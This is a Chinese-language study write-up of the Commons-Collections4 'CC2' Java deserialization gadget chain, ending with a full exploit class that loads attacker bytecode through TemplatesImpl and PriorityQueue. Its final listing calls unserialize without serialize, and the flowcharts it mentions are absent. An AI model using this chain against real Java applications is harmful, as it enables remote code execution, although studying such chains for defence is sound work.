环境
和CC4一样,Commons-Collections 依赖如下
1 2 3 4 5 6 7
| <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency> </dependencies>
|
链子分析
CC2其实就是在CC4上修改,它是为了避免transform
数组的使用,至于为什么要避免是因为shiro中的漏洞会重写很多动态加载数组的方法,那么可能EXP 无法通过数组实现,当然我还没跟过shiro的链子到时候再去学习,那么到这里后面的流程图就如下
前面的就是CC4的东西,所以这里就是要把compare
与InvokerTransform
连接起来然后再把InvokerTransform
与TemplatesImpl
连接起来就OK了,那么这里先把后面的解决直接把CC4的拿过来
1 2 3 4 5 6 7 8 9 10 11 12 13
| //动态类加载命令执行 TemplatesImpl templates = new TemplatesImpl(); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodes = tclass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes);
|
然后构造InvokerTransformer
类去调用TemplatesImpl.newTransformer()
1
| InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
|
然后就是让TransformingComparator.compare()
和InvokerTransformer
连接起来,当然这里和CC4一样为了避免priorityQueue.add()
提前执行compare()
方法,所以代码也一样
1
| TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1));
|
然后创建 PriorityQueue 类对象 传入 transformingComparator
的对象但是此时我们向队列里面添加的元素是前⾯创建的 TemplatesImpl
的对象,这里要注意的是添加在队列第一个元素位置因为最后调用 PriorityQueue.compare()
的时候是传入队列中的两个对象,然后 compare()
中调用 Transformer.transform(obj1)
的时候用的是传入的第一个对象作为参数,跟进去看一下即可知道
当然两个都设置为TemplatesImpl
的对象也没关系
1 2 3
| PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates);
|
然后又和CC4一样了反射改回来就行,然后把chainedTransformer
改为invokerTransformer
因为我们是直接连接的InvokerTransform类的transform
方法
1 2 3 4
| Class c = transformingComparator.getClass(); Field transformField = c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator, invokerTransformer);
|
那么到这里CC2也就结束了,最终的exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue; public class CC2Dome { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodes = tclass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E://java-tools/test.class")); byte[][] codes = {code}; bytecodes.set(templates,codes); InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{}); TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer<>(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); Class c = transformingComparator.getClass(); Field transformField = c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator, invokerTransformer);
unserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
流程图
这次流程图还是直接在前面的基础上改的,如下